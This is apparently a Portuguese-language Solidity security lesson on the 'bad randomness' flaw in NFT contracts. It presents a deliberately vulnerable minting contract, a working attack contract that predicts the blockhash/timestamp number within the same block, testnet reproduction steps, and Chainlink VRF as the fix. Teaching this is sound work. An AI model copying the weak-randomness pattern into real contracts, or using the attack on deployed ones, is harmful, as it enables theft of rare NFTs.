S07_BadRandomness

WTF Solidity Contrato Seguro: S07. Má Sorteio

Recentemente, tenho revisitado o estudo do Solidity para consolidar detalhes e escrever um "WTF Solidity guia introdutório" para iniciantes (os especialistas em programação podem procurar outros tutoriais). Será atualizado semanalmente com 1-3 aulas.

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Nesta aula, vamos falar sobre a vulnerabilidade de "Má Sorteio" em contratos inteligentes e métodos de prevenção. Essa vulnerabilidade é comum em projetos de NFT e GameFi, como Meebits, Loots, Wolf Game, entre outros.

Números Pseudorandômicos

Muitas aplicações na Ethereum requerem o uso de números aleatórios, como para sortear tokenId de NFTs, abrir lootboxes, determinar resultados aleatórios em batalhas de GameFi, entre outros. No entanto, devido à transparência e determinismo dos dados na Ethereum, não existe um método para gerar números aleatórios como na maioria das outras linguagens de programação, como random(). Portanto, muitos projetos acabam utilizando métodos de geração de números pseudorandômicos na blockchain, como blockhash() e keccak256().

Vulnerabilidade de Má Sorteio: Hackers podem calcular previamente os resultados desses números pseudorandômicos e manipulá-los conforme desejarem, como criar NFTs raros específicos em vez de sortear aleatoriamente. Para saber mais, consulte WTF Solidity guia introdutório aula 39: Números Pseudorandômicos.

Exemplo de Má Sorteio

Abaixo, vamos analisar um contrato de NFT com a vulnerabilidade de Má Sorteio: BadRandomness.sol.

contract BadRandomness is ERC721 {
    uint256 totalSupply;

    // Construtor, inicializa o nome e o símbolo da coleção de NFTs
    constructor() ERC721("", ""){}

    // Função de cunhagem: um NFT só é cunhado se o luckyNumber for igual ao número aleatório
    function luckyMint(uint256 luckyNumber) external {
        uint256 randomNumber = uint256(keccak256(abi.encodePacked(blockhash(block.number - 1), block.timestamp))) % 100; // get bad random number
        require(randomNumber == luckyNumber, "Better luck next time!");

        _mint(msg.sender, totalSupply); // cunhar
        totalSupply++;
    }
}

Este contrato possui a função principal luckyMint(), onde o usuário deve inserir um número de 0-99, que, se coincidir com o número pseudorandômico gerado na blockchain, permite cunhar um NFT da sorte. A vulnerabilidade está no fato de que o usuário pode prever com precisão o número aleatório gerado e cunhar o NFT desejado.

Agora, vamos criar um contrato de ataque Attack.sol.

contract Attack {
    function attackMint(BadRandomness nftAddr) external {
        // Calcular previamente o número aleatório
        uint256 luckyNumber = uint256(
            keccak256(abi.encodePacked(blockhash(block.number - 1), block.timestamp))
        ) % 100;
        // Realizar o ataque usando o luckyNumber
        nftAddr.luckyMint(luckyNumber);
    }
}

A função de ataque attackMint() recebe o endereço do contrato BadRandomness como parâmetro. Nela, calculamos o número aleatório luckyNumber e o passamos como argumento para a função luckyMint() para realizar o ataque. Como attackMint() e luckyMint() são chamados no mesmo bloco, o blockhash() e o block.timestamp são os mesmos, gerando o mesmo número aleatório.

Reprodução no Remix

Como o Remix com Remix VM não suporta a função blockhash(), é necessário implantar os contratos na testnet Ethereum para reproduzir o ataque.

1. Implantar o contrato BadRandomness.

2. Implantar o contrato Attack.

3. Passar o endereço do contrato BadRandomness como parâmetro para a função attackMint() do contrato Attack e executar o ataque.

4. Usar a função balanceOf do contrato BadRandomness para verificar o saldo de NFTs do contrato de ataque e confirmar o sucesso do ataque.

Métodos de Prevenção

Normalmente, utilizamos números aleatórios gerados fora da blockchain por meio de projetos de oráculos, como o Chainlink VRF, para prevenir esse tipo de vulnerabilidade. Esses números aleatórios são gerados fora da blockchain e depois enviados para a mesma, garantindo que sejam imprevisíveis. Para saber mais, consulte WTF Solidity guia introdutório aula 39: Números Pseudorandômicos.

Conclusão

Nesta aula, abordamos a vulnerabilidade de Má Sorteio em contratos inteligentes e apresentamos um método simples de prevenção: utilizar números aleatórios gerados fora da blockchain por meio de projetos de oráculos. Projetos de NFT e GameFi devem evitar o uso de números pseudorandômicos na blockchain para sorteios, a fim de evitar possíveis ataques de hackers.